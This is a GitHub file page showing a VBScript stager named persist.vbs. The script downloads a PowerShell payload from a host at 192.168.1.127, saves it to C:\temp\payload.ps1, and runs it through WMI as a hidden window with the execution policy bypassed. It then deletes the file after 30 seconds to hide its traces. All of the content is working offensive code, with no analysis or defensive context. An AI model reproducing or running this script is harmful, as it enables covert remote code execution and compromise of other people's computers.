-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathpersist.vbs
57 lines (42 loc) · 2.05 KB
/
persist.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
Dim filesys
Const HIDDEN_WINDOW = 0
If GetObject("winmgmts:root\cimv2:Win32_Processor='cpu0'").AddressWidth = 32 Then
xHttp.Open "GET", "http://192.168.1.127/x32.ps1", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.ResponseBody
.savetofile "C:\temp\payload.ps1"
end with
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -file C:\Temp\payload.ps1", Null, objConfig, intProcessID
Else
xHttp.Open "GET", "http://192.168.1.127/x32.ps1", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.ResponseBody
.savetofile "C:\temp\payload.ps1"
end with
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "C:\\Windows\\sysWOW64\\WindowsPowerShell\\v1.0\\Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -file C:\Temp\payload.ps1", Null, objConfig, intProcessID
End If
WScript.Sleep 30000
Set filesys = CreateObject("Scripting.FileSystemObject")
If filesys.FileExists("C:\Temp\payload.ps1") Then
filesys.DeleteFile "C:\Temp\payload.ps1"
End If